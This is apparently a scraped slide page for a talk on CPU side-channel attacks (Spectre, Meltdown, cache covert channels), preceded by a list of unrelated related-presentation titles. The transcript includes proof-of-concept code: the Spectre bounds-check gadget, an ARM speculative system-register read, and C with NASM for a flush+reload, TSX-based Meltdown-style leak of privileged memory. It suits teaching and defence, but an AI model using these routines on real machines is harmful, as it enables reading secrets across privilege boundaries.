/Сергей Смитиенко/.

Slides:



Advertisements
Similar presentations
CS457 – Introduction to Information Systems Security Software 2 Elias Athanasopoulos
Advertisements

University of Washington Procedures and Stacks II The Hardware/Software Interface CSE351 Winter 2013.
Introduction to Machine/Assembler Language Noah Mendelsohn Tufts University Web:
Machine/Assembler Language Putting It All Together Noah Mendelsohn Tufts University Web:
%rax %eax %rbx %ebx %rdx %edx %rcx %ecx %rsi %esi %rdi %edi %rbp %ebp %rsp %esp %r8 %r8d %r9 %r9d %r11 %r11d %r10 %r10d %r12 %r12d %r13 %r13d.
C Programming and Assembly Language Janakiraman V – NITK Surathkal 2 nd August 2014.
Machine-Level Programming I: Basics
Instruction Set Architectures
PC hardware and x86 3/3/08 Frans Kaashoek MIT
Machine-Level Programming III: Procedures Sept. 15, 2006 IA32 stack discipline Register saving conventions Creating pointers to local variablesx86-64 Argument.
Using FMA everywhere hurts performance Cool one: Fused multiply accumulate (FMA)
1 Machine-Level Programming I: Basics Computer Systems Organization Andrew Case Slides adapted from Jinyang Li, Randy Bryant and Dave O’Hallaron.
COM850 Computer Hacking and Security
Recitation: Bomb Lab June 5, 2015 Dipayan Bhattacharya.
6.828: PC hardware and x86 Frans Kaashoek
64-Bit Architectures Topics 64-bit data New registers and instructions Calling conventions CS 105 “Tour of the Black Holes of Computing!”
University of Washington Today More on procedures, stack etc. Lab 2 due today!  We hope it was fun! What is a stack?  And how about a stack frame? 1.
Introduction: Exploiting Linux. Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend,
Machine/Assembler Language Control Flow & Compiling Function Calls Noah Mendelsohn Tufts University Web:
Carnegie Mellon 1 Machine-Level Programming I: Basics Slides based on from those of Bryant and O’Hallaron.
CS216: Program and Data Representation University of Virginia Computer Science Spring 2006 David Evans Lecture 22: Unconventional.
Carnegie Mellon 1 Odds and Ends Intro to x86-64 Memory Layout.
ELF binary # readelf -a foo.out ELF Header:
CNIT 127: Exploit Development Ch 1: Before you begin.
Stack-based buffer overflows Yves Younan DistriNet, Department of Computer Science Katholieke Universiteit Leuven Belgium
University of Washington Basics of Machine Programming The Hardware/Software Interface CSE351 Winter 2013.
Lecture 21. _getproc proc near pushf ;Secure flag register contents push di ;== Determine whether model came before or after === xor ax,ax ;Set.
AMD64/EM64T – Dyninst & ParadynMarch 17, 2005 The AMD64/EM64T Port of Dyninst and Paradyn Greg Quinn Ray Chen
Machine/Assembler Language Control Flow & Compiling Function Calls Noah Mendelsohn Tufts University Web:
Stack Usage with MS Visual Studio Without Stack Protection.
1 Machine-Level Programming II: Basics Comp 21000: Introduction to Computer Organization & Systems Spring 2016 Instructor: John Barr * Modified slides.
Spring 2016Assembly Review Roadmap 1 car *c = malloc(sizeof(car)); c->miles = 100; c->gals = 17; float mpg = get_mpg(c); free(c); Car c = new Car(); c.setMiles(100);
Samira Khan University of Virginia Feb 2, 2017
Instruction Set Architecture
Machine-Level Programming I: Basics
Credits and Disclaimers
Instructor: Your TA(s)
143A: Principles of Operating Systems Lecture 4: Calling conventions
Exploiting & Defense Day 2 Recap
Aaron Miller David Cohen Spring 2011
Assembly IA-32.
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Computer Architecture and Assembly Language
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Machine-Level Programming V: Control: loops Comp 21000: Introduction to Computer Organization & Systems Systems book chapter 3* * Modified slides from.
Computer Architecture and Assembly Language
Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah – 2014 xkovah at gmail.
Machine Level Representation of Programs (IV)
Oct 15, 2018 Instructor: Your TA(s) 1.
Computer Architecture and System Programming Laboratory
X86 Assembly Review.
Machine-Level Representation of Programs (x86-64)
Computer Architecture and System Programming Laboratory
Low-Level Thread Dispatching on the x86
Machine-Level Programming II: Basics Comp 21000: Introduction to Computer Organization & Systems Instructor: John Barr * Modified slides from the book.
Get To Know Your Compiler
CSC 497/583 Advanced Topics in Computer Security
Machine-Level Programming V: Control: loops Comp 21000: Introduction to Computer Organization & Systems Systems book chapter 3* * Modified slides from.
CS201- Lecture 8 IA32 Flow Control
Machine-Level Programming VIII: Data Comp 21000: Introduction to Computer Systems & Assembly Lang Spring 2017 Systems book chapter 3* * Modified slides.
Credits and Disclaimers
ICS51 Introductory Computer Organization
Computer Architecture and System Programming Laboratory
Computer Architecture and System Programming Laboratory
Computer Architecture and System Programming Laboratory
Computer Architecture and System Programming Laboratory
Instructor: Your TA(s)
Presentation transcript:

/Сергей Смитиенко/

www.nocservice.biz

Shadow Walker (2005) https://www.blackhat.com/presentations/bh-jp-05/bh-jp-05-sparks-butler.pdf MoRE Shadow Walker: TLB-splitting on Modern x86 2014 https://www.youtube.com/watch?v=yrFqaF-gd0g

Hello From the Other Side SSH Over Robust Cache Covert Channels in the Cloud - 2013 https://www.youtube.com/watch?v=a9sGk7FtnYk

ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy - 2016 https://www.youtube.com/watch?v=9KsnFWejpQg

https://en.wikichip.org/wiki/intel/microarchitectures/skylake_(client)

mov rax, 1 add rax, 1 mov [1], rax mov rax, 2 add rax, 2 mov [2],rax

if (x < array1_size) y = array2[array1[x] * 256];

jmp eax jmp [eax] jmp dword ptr [0x01dec0de] ret

https://github.com/lgeek/spec_poc_arm/ // void spec_read(void *probe_buf, void *miss_buf, int bit); .global spec_read .func spec_read: LDR X1, [X1] NOP // replaced with MRS X3, SYSTEM_REG LSR X3, X3, X2 AND X3, X3, #1 ADD X0, X0, X3, LSL #12 LDR X0, [X0] RET .endfunc https://github.com/lgeek/spec_poc_arm/

$ ./dump_sys_regs ACTLR_EL1 : 0x0 ACTLR_EL2 : 0x73 ... TTBR0_EL1 : 0xf89f0000d4454000 TTBR0_EL2 : 0x0 TTBR0_EL3 : 0x30010b00 TTBR1_EL1 : 0x8133f000 TTBR1_EL2 : 0x0 VDISR_EL2 : 0x0 VSESR_EL2 : 0x0 VTCR_EL2 : 0x80000000 VTTBR_EL2 : 0x0 AFSR0_EL12 : 0x0 AFSR1_EL12 : 0x0 AMAIR_EL12 : 0x0 CNTFRQ_EL0 : 0x1dcd650 CNTHCTL_EL2 : 0x3 CNTHP_CTL_EL2 : 0x0 CNTHP_CVAL_EL2 : 0x0 CNTHP_TVAL_EL2 : 0x65a29ee7 (dynamic?) CNTHV_CTL_EL2 : 0x0 CNTHV_CVAL_EL2 : 0x0 CNTHV_TVAL_EL2 : 0x0 CNTKCTL_EL1 : 0xc6 CNTKCTL_EL12 : 0x0 ...

asm_test_sig(unsigned char* target) { register int mix_i,i,j; register unsigned x; unsigned hit[256]; unsigned long time_read; unsigned junk; i = pread(fd, buf, sizeof(buf), 0); for (i = 0; i < 256; i++) hit[i] = 0; j = 100; do { for (i = 0; i < 256; i++) _mm_clflush( & test_arr[i*PSIZE] ); _asm_spec_read(target, test_arr); for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; x = mix_i * PSIZE; time_read = _asm_time_read(&test_arr[x]); if (time_read < 100) { hit[mix_i] ++; } j--; } while (j > 0); ... ; rdi : base pointer _asm_time_read: push rbx xor rbx, rbx rdtscp ; edx = hi, eax = lo, ecx = junk mov ebx, edx shl rbx, 32 mov ebx, eax ; rbx = timestamp counter mov eax, [rdi] rdtscp shl rdx, 32 xor edx, edx or rax, rdx ; rax = timestamp counter sub rax, rbx pop rbx ret ; rsi : test_arr _asm_spec_read: xor rax, rax xor rcx, rcx xbegin ABORT_SPEC_READ spec_retry: %rep 300 add rax, 0x141 %endrep jz spec_retry movzx eax, byte [rdi] shl eax, 12 movzx ebx, byte [rsi + rax + 1] xend ABORT_SPEC_READ:

Intel® 64 and IA-32 Architectures Software Developer’s Manual https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf Intel® 64 and IA-32 Architectures Software Developer’s Manual https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf Intel® 64 and IA-32 Architectures Optimization Reference Manual https://cmaurice.fr/ Clémentine Maurice https://developer.arm.com/support/security-update Arm Processor Security Update https://github.com/IAIK/meltdown Meltdown Proof-of-Concept https://github.com/speed47/spectre-meltdown-checker Spectre & Meltdown Checker https://github.com/genua/meltdown Meltdown & Spectre PoC for OpenBSD https://github.com/lgeek/spec_poc_arm/ ARM Meltdown PoC https://docs.google.com/presentation/d/1xZPaeh7zQ-u_d9zVLxsxcPtwKcYfXTp1RCjMojivhdI/ - This presentation.

skype: sergey.smitienko, FB, LinkedIn